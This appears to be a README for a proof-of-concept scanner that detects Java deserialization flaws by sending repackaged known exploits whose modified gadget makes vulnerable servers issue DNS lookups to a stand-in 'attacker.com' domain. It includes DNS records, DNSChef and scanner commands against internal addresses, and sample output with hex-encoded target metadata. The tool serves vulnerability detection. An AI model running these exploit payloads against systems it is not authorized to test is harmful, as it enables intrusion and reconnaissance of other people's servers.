A proof of concept that demonstrates asynchronous scanning of deserialization bugs. It repackages well known exploits with a modified gadget that triggers DNS queries.

Detailed explanation: http://gosecure.net/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/

The DNS Chef instance is a requirement to see the results of the scan.

This is the typical DNS configuration expected on your domain registrar. It will signify to other DNS servers that all subdomains of attacker.com must be resolved by the DNS server host at 10.11.12.13.

NS scanme.attacker.com dnschef.attacker.com
A dnschef.attacker.com 10.11.12.13

• 10.11.12.13 : The public IP address that is
• attacker.com : A domain name you own

It is highly recommended to use this modified version of DNS Chef that decodes the metadata placed by the scanner.

Launch DNSChef

python dnschef.py -q --fakeip 127.0.0.1 -i 0.0.0.0

Launch the scanner

python breakfast.py -t 192.168.40.1 -p 7001 -d scanme.attacker.com

Build a list of ip/hostname with open HTTP ports. Use a port scanner such as NMAP to identify port that respond to HTTP.

$ cat list_servers.txt
192.168.40.10:80
192.168.40.24:8181
192.168.40.100:7001
192.168.40.100:8080
192.168.40.102:8080
192.168.40.102:8001

Launch DNSChef

python dnschef.py -q --fakeip 127.0.0.1 -i 0.0.0.0

Launch the scanner

cat list_servers.txt | python breakfast.py -stdin -d scanme.attacker.com

If the vulnerability is confirmed, the expected trace from DNS Chef is as follows.

['843', 'jboss', '192.168.40.24', '8181']
[06:16:44] 69.165.172.165: cooking the response of type 'A' for 3834333a6a626f73733a3132372e302e302e313a38313831.scanme.fsociety.com to 127.0.0.1
['914', 'jenkins-cli', '192.168.40.102', '8080']
[06:16:45] 173.194.103.14: cooking the response of type 'A' for 3931343a6a656e6b696e732d636c693a3132372e302e302e313a38303830.scanme.fsociety.com to 127.0.0.1